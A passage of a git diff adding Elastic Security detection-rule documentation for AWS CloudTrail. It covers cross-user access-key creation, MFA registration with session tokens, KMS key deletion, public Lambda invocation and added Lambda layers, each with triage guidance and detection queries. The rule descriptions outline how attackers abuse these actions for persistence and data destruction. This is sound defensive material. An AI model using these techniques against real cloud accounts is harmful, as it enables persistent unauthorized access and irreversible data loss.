URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-created-access-keys-for-another-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-created-access-keys-for-another-user.asciidoc new file mode 100644 index 0000000000..2f098cc0bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-created-access-keys-for-another-user.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-21-aws-iam-user-created-access-keys-for-another-user]] +=== AWS IAM User Created Access Keys For Another User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Created Access Keys For Another User* + + +AWS IAM access keys are long-term credentials that grant programmatic access to AWS resources. The `iam:CreateAccessKey` permission allows an IAM principal to generate new access keys for an existing IAM user. +While this operation can be legitimate (for example, credential rotation), it can also be abused to establish persistence or privilege escalation if one user creates keys for another account without authorization. + +This rule identifies `CreateAccessKey` API calls where the calling user (`aws.cloudtrail.user_identity.arn`) differs from the target user (`aws.cloudtrail.request_parameters.userName`), indicating one IAM identity creating credentials for another. + + +*Possible investigation steps* + + +- **Confirm both user identities and intent.** + Identify the calling user (who performed `CreateAccessKey`) and the target user (whose access key was created). Contact both account owners or application teams to confirm if this operation was expected. + +- **Review CloudTrail event details.** + Check the following fields directly in the alert or corresponding CloudTrail record: + - `source.ip` — does it align with expected corporate ranges or known admin automation? + - `user_agent.original` — AWS Console, CLI, SDK, or custom client? Unexpected user agents (for example, non-SDK scripts) may indicate manual or unauthorized use. + - `source.geo` fields — verify the location details are expected for the identity. + +- **Correlate with related IAM activity.** + In CloudTrail, search for subsequent or nearby events such as: + - `AttachUserPolicy`, `AttachGroupPolicy`, `UpdateAssumeRolePolicy`, or `CreateUser`. + These can indicate privilege escalation or lateral movement. + Also review whether the same principal recently performed `CreateAccessKey` for multiple users or repeated this action across accounts. + +- **Inspect the new access key’s usage.** + Search for the newly created key ID (`aws.cloudtrail.response_elements.accessKey.accessKeyId`) in CloudTrail events following creation. Determine if it was used from unusual IP addresses, geographies, or services. + +- **Assess the risk of credential compromise.** + If you suspect malicious behavior, consider the following indicators: + - A non-admin user invoking `CreateAccessKey` for another user. + - Creation outside of normal automation pipelines. + - Use of the new key from a different IP or AWS account soon after creation. + +- **Scope related activity.** + Review all activity from the calling user in the past 24–48 hours, focusing on `iam:*` API calls and resource creation events. + Correlate any S3, EC2, or KMS access attempts made using the new key to identify potential impact or data exposure. + + +*False positive analysis* + + +- **Expected credential rotation.** + Some environments delegate credential rotation responsibilities to centralized automation or specific admin roles. Confirm if the calling user is authorized for such actions. +- **Administrative workflows.** + Account provisioning systems may legitimately create keys on behalf of users. Check for standard tags, automation tools, or user agents that indicate managed operations. +- **Service-linked roles or external IAM automation.** + Some AWS services create or rotate credentials automatically. Validate if the caller is a service-linked role or an automation IAM role used by a known deployment process. + + +*Response and remediation* + + +**Immediate containment** +- Deactivate or delete the access key from the target IAM user immediately using the AWS Console, CLI, or API (`DeleteAccessKey`). +- Rotate or reset credentials for both the calling and target users to eliminate possible compromise. +- Restrict risky principals. Temporarily deny `iam:CreateAccessKey` and `iam:UpdateAccessKey` permissions for non-administrative roles while scoping the incident. +- Enable or confirm MFA on both accounts involved, if not already enforced. + +**Evidence preservation** +- Export all related `CreateAccessKey`, `DeleteAccessKey`, and `UpdateAccessKey` events within ±30 minutes of the alert to an evidence bucket. +- Preserve CloudTrail, GuardDuty, and AWS Config data for the same period. +- Record key event details: caller ARN, target user, `accessKeyId`, `source.ip`, `userAgent`, and timestamps. + +**Scoping and investigation** +- Search CloudTrail for usage of the new access key ID after creation. Identify any API activity or data access tied to it. +- Review IAM policy changes, group modifications, or new role assumptions around the same time. +- Determine if any additional credentials or trust policy changes were made by the same actor. +- Check for GuardDuty findings referencing anomalous credential usage or suspicious API behavior. + +**Recovery and hardening** +- Remove or disable any unauthorized keys and re-enable only verified credentials. +- Implement least-privilege IAM policies to limit which users can perform `CreateAccessKey`. +- Monitor for future `CreateAccessKey` events where `userIdentity.arn != request_parameters.userName`. +- Ensure Cloudtrail, GuardDuty and Security Hub are active across all regions. +- Educate administrative users on secure key rotation processes and the risk of cross-user key creation. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]:** Reference “Credential Compromise” and “IAM Misuse” procedures for containment and recovery. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** See “Identity Access Review” and “Unauthorized Access Key Creation” for example response flows. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html[Best practices for managing access keys]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +| where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateAccessKey" + and event.outcome == "success" + and user.name != user.target.name +| keep + @timestamp, + cloud.account.id, + cloud.region, + event.provider, + event.action, + event.outcome, + data_stream.dataset, + user.name, + source.address, + source.ip, + user.target.name, + user_agent.original, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.geo.*, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc new file mode 100644 index 0000000000..f3f5b7938a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-21-aws-iam-virtual-mfa-device-registration-attempt-with-session-token]] +=== AWS IAM Virtual MFA Device Registration Attempt with Session Token + +Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS IAM Virtual MFA Device Registration Attempt with Session Token* + + +Temporary credentials that start with the prefix `ASIA` are generated by the AWS Security Token Service (STS). These +session tokens are used for short-lived operations and should not be used to modify or register IAM +authentication mechanisms. This rule detects cases where an IAM user or role uses such temporary credentials to invoke either `CreateVirtualMFADevice` or `EnableMFADevice`. + + +*Possible investigation steps* + + +- **Identify the actor and session context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the identity and confirm the `ASIA` prefix. + - If you ingest `event.original`, look for `sessionCredentialFromConsole: true` to determine if the temporary token is from a console login session (which uses temporary session tokens in the backend) rather than compromised session tokens. + - Check `user_agent.original`, `source.ip`, and `cloud.region` to determine if this activity originated from an expected host, VPN, or location. + - Cross-reference with prior activity by this identity—especially `GetSessionToken`, `AssumeRole`, or `GetCallerIdentity` calls. + +- **Correlate related IAM events** + - Search for subsequent or preceding calls to: + - `EnableMFADevice` (after `CreateVirtualMFADevice`) + - `DeactivateMFADevice` or `DeleteVirtualMFADevice` + - `ListMFADevices`, `ListUsers`, or `UpdateLoginProfile` + - Review whether new MFA devices were successfully enabled (`event.outcome:success`). + +- **Assess session scope and privileges** + - Identify what IAM policies are attached to the user or role that issued this request. + - If the temporary credentials were created via `AssumeRole` or `GetSessionToken`, check the originating principal’s permissions. + +- **Investigate possible persistence** + - Look for new MFA devices listed for privileged users (e.g., account root or admin roles). + - Review login history for those accounts following the MFA change. + + +*False positive analysis* + + +- **Legitimate Administrative or Automated Actions** + Certain IAM administrative workflows or CI/CD automation tools may register or enable MFA devices using temporary + session credentials. Confirm whether the calling principal is part of an authorized automation process or a known + identity performing account configuration tasks. + +- **Expected Console Behavior** + When users create or enable Virtual MFA devices through the **AWS Management Console**, AWS automatically issues + temporary STS credentials (with access key IDs beginning with `ASIA`) for that session. As a result, these events will + appear identical to programmatic usage of session tokens in CloudTrail logs. + This is expected and does not indicate compromise. + + +*Response and remediation* + + +- **Immediate containment** + - Revoke or expire the temporary credentials (`aws sts revoke-session` if applicable). + - Disable or delete any newly created virtual MFA devices using `DeleteVirtualMFADevice`. + - Rotate passwords and long-term access keys for the associated IAM users. + +- **Investigation and scoping** + - Review CloudTrail logs for related IAM modifications (`UpdateLoginProfile`, `AttachUserPolicy`, `CreateAccessKey`). + - Identify any new API keys or tokens created after the MFA registration. + - Cross-check whether the attacker leveraged the new MFA binding for session persistence or login. + +- **Recovery and hardening** + - Enforce the `iam:EnableMFADevice` and `iam:CreateVirtualMFADevice` permissions only for trusted admin roles. + - Implement `aws:MultiFactorAuthPresent` conditions in IAM policies. + - Monitor for any future `ASIA` credential–based IAM configuration changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.outcome == "success" + and event.action in ("CreateVirtualMFADevice", "EnableMFADevice") + and startsWith (aws.cloudtrail.user_identity.access_key_id, "ASIA") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc new file mode 100644 index 0000000000..6152f1061a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion]] +=== AWS KMS Customer Managed Key Disabled or Scheduled for Deletion + +Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cli/latest/reference/kms/disable-key.html +* https://docs.aws.amazon.com/cli/latest/reference/kms/schedule-key-deletion.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS KMS +* Use Case: Log Auditing +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Xavier Pich + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS KMS Customer Managed Key Disabled or Scheduled for Deletion* + + +AWS KMS keys underpin encryption for S3, EBS, RDS, Secrets Manager, Lambda, and numerous other AWS services. Disabling a KMS key or scheduling its deletion immediately disrupts encryption and decryption workflows, and, once deleted, renders all data encrypted with that key unrecoverable. + +Because these operations are rare, highly privileged, and tightly controlled in mature environments, they should be treated as high-risk, destructive actions when performed unexpectedly. Adversaries may disable or delete KMS keys to sabotage recovery, impede forensic analysis, or destroy evidence after exfiltration. + + + +*Possible investigation steps* + + +- **Identify the actor and authentication context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the caller. + - Check `source.ip`, `source.geo` fields, and `user_agent.original` to determine whether the action originated from an expected network path or automation platform. + - Compare the actor and access key to historical usage patterns. + +- **Determine what key was affected and its criticality** + - Inspect `aws.cloudtrail.resources.arn` to identify the KMS key. + - Determine: + - The services and data protected by the key (e.g., RDS, EBS, S3, Secrets Manager). + - The environment (prod vs. dev). + - Owner or application team. + +- **Understand the scope and intent of the change** + - For `DisableKey`, determine whether a dependent service immediately began failing or experienced decryption errors. + - For `ScheduleKeyDeletion`, examine the `PendingWindowInDays` value within `aws.cloudtrail.request_parameters`. + - Check whether the key was previously rotated, enabled/disabled, or had its policy recently modified. + +- **Correlate with surrounding events** + - Look for: + - IAM policy changes granting new KMS privileges. + - Access anomalies involving the same principal. + - File system, database, or backup deletions near the same timeframe. + - S3, EBS, or RDS resources showing encryption failures. + - Determine whether other keys were modified in the same window (possible broader sabotage attempt). + +- **Validate intent with owners** + - Confirm with the application, data, or security owners: + - Whether deactivation or scheduled deletion was requested. + - Whether the key was being replaced, migrated, or retired. + + +*False positive analysis* + + +- **Planned key lifecycle activities** + - Some organizations disable KMS keys before rotation, migration, or decommissioning. + - Scheduled deletion during infrastructure teardown may be expected in CI/CD-driven ephemeral environments. + +- **Configuration errors** + - Misapplied tags or incorrect CloudFormation teardown workflows can unintentionally disable or schedule deletion of KMS keys. + +If any of the above conditions apply, consider adjusting rule exceptions based on IAM principal, environment tag, or automation role. + + +*Response and remediation* + + +- **Contain and validate** + - Immediately confirm whether the key disablement or deletion schedule was intentional. + - If unauthorized, cancel scheduled deletion (`CancelKeyDeletion`) and re-enable the key (`EnableKey`) as appropriate. + - Rotate credentials or access keys used by the actor if compromise is suspected. + +- **Assess impact** + - Identify all AWS services and data encrypted with the affected KMS key. + - Review logs and service metrics for failures involving: + - EBS volume attachments + - RDS instance decryption + - S3 object access + - Secrets Manager retrieval + - Lambda environment variable decryption + +- **Investigate for compromise** + - Review CloudTrail activity for the principal: + - Permission escalations + - Unusual STS role assumptions + - S3, EC2, RDS destructive behavior + - Look for preceding data access or exfiltration attempts. + +- **Strengthen controls** + - Restrict AWS KMS lifecycle permissions (`kms:DisableKey`, `kms:ScheduleKeyDeletion`) to a very small privileged set. + - Use AWS Organizations SCPs to prevent KMS key deletion in production accounts. + - Enable AWS Config rules for KMS key state monitoring. + - Require MFA for administrators capable of key management. + +- **Post-incident improvement** + - Update runbooks to include KMS lifecycle change approvals. + - Implement tagging standards to designate high-risk keys. + - Enhance monitoring for key policy modifications or changes to principal permissions. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "kms.amazonaws.com" + and event.action: ("DisableKey" or "ScheduleKeyDeletion") + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc new file mode 100644 index 0000000000..4426aaf85d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-aws-lambda-function-policy-updated-to-allow-public-invocation]] +=== AWS Lambda Function Policy Updated to Allow Public Invocation + +Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.lambda-backdoor-function/ +* https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Policy Updated to Allow Public Invocation* + + +AWS Lambda policies control who can invoke a function. When the `Principal` is set to `*`, the function becomes publicly invokable by any AWS account. Adversaries may modify Lambda permissions to create a stealthy execution backdoor or to maintain persistence inside an AWS environment. This activity is uncommon in most production environments and should receive careful scrutiny when detected. + + +*Possible investigation steps* + + +**Identify the actor** +- Identify the actor who made the change by reviewing `aws.cloudtrail.user_identity.arn` and access key ID. Determine whether this principal typically administers Lambda functions. + +**Review request details** +- Review request details in `aws.cloudtrail.request_parameters` to understand the exact permission added: + - Confirm that the `Principal` is set to `"*"`. + - Note the `Action` (`lambda:InvokeFunction`) and any `SourceArn` restrictions (sometimes present, often missing in malicious cases). + +**Analyze source context** +- Check the source of the request using `source.ip`, geo information, and user agent. Unexpected networks, automation tools, or CLI usage may indicate credential compromise. + +**Correlate timing and related events** +- Evaluate timing and sequence by correlating `@timestamp` with other events. Look for surrounding actions such as: + - Creation or update of Lambda function code. + - Publishing new Lambda layers. + - Changes to roles attached to the function. + +**Assess function sensitivity and impact** +- Assess the function’s role and data sensitivity. Determine whether public invocation could: + - Enable unmonitored code execution, + - Trigger access to internal resources via the function’s IAM role, + - Be chained with persistence or privilege escalation behavior. + +**Validate operational intent** +- Validate the operational context. Confirm with the function owner whether the permission change was intentional, part of a deployment, or unexpected. + + +*False positive analysis* + + +- Public invocation may be intentional for certain workloads (e.g., webhook handlers, openly accessible compute functions). Compare the event with documentation, IaC templates, or the deployment pipeline. +- Some teams may regularly modify permissions during testing or refactoring; check whether this aligns with existing workflows. +- Evaluate whether the function already had permissive invocation policies and whether the update is part of expected configuration drift. + + +*Response and remediation* + + +- Remove unauthorized public invocation permissions immediately by reverting the Lambda function policy to the approved baseline. +- Investigate for follow-on activity: execution of the function, updates to code, modifications to IAM roles, or API calls issued using the function's role. +- Rotate or disable credentials associated with the identity that issued the `AddPermission` call if compromise is suspected. +- Enable or refine monitoring for Lambda policy updates, layer additions, and code changes to detect future unauthorized modifications. +- Conduct a security review of the Lambda function and any downstream resources it can access to ensure no misuse has occurred. +- Work with the application team to enforce least-privilege invocation policies and deploy guardrails (e.g., SCPs, IAM Conditions, or automated compliance checks) preventing public invocation unless explicitly authorized. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and event.action : "AddPermission*" + and stringContains(aws.cloudtrail.request_parameters, "lambda:InvokeFunction") + and stringContains(aws.cloudtrail.request_parameters, "principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-layer-added-to-existing-function.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-layer-added-to-existing-function.asciidoc new file mode 100644 index 0000000000..ab3a9b34c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-lambda-layer-added-to-existing-function.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-aws-lambda-layer-added-to-existing-function]] +=== AWS Lambda Layer Added to Existing Function + +Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence +* https://docs.aws.amazon.com/lambda/latest/api/API_PublishLayerVersion.html +* https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Layer Added to Existing Function* + + +Lambda layers introduce external code artifacts into a function’s runtime. Adding a layer to an existing Lambda function +modifies its execution environment and may allow an adversary to run arbitrary code, intercept data, or maintain +persistence without altering the function source itself. This detection highlights successful configuration updates using +`PublishLayerVersion*` or `UpdateFunctionConfiguration*`. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and the `access_key_id`. Determine whether the actor normally administers Lambda or has recently exhibited unusual behavior. + +**Review what was modified** +- Inspect `aws.cloudtrail.request_parameters` to identify which layer ARN was added, the function name and region, whether multiple layers were applied at once or in rapid succession. +- Compare the added layer version against known and approved layer catalogs. + +**Validate the operational context** +- Check the time of the update (`@timestamp`) to see if it aligns with known release pipelines or deployment windows and Normal working hours for the responsible team. +- Determine whether a CI/CD pipeline or IaC tool was expected to update this function. + +**Assess where the change came from** +- Review `source.ip` and `user_agent.original` for signs of console access from unusual locations, access via previously unused automation tools, suspicious programmatic access consistent with compromised keys. + +**Correlate with additional activity** +- Look for preceding or subsequent events such as: + - Creation of new Lambda layers (`PublishLayerVersion`). + - IAM role modifications affecting the Lambda function. + - Increased invocation volume or unusual invocation patterns after the layer addition. +- Search for other functions modified by the same actor or from the same IP. + + +*False positive analysis* + + +- Confirm whether the change aligns with a planned deployment, application update, or dependency upgrade. +- Determine whether the user or automation role commonly modifies Lambda function configurations. +- Validate the legitimacy of the added layer by checking internal documentation or release notes. + + +*Response and remediation* + + +- Remove or roll back the added layer if the modification appears unauthorized or suspicious. +- Review the layer contents, especially for newly published layers, to verify integrity and legitimacy. +- Investigate the IAM role or user responsible for the change and rotate compromised credentials if necessary. +- Tighten permissions by ensuring only approved roles can modify Lambda configurations or publish new layers. +- Implement monitoring for subsequent Lambda configuration changes, invocation anomalies caused by the injected layer, additional persistence techniques targeting serverless infrastructure. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: lambda.amazonaws.com + and event.outcome: success + and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: 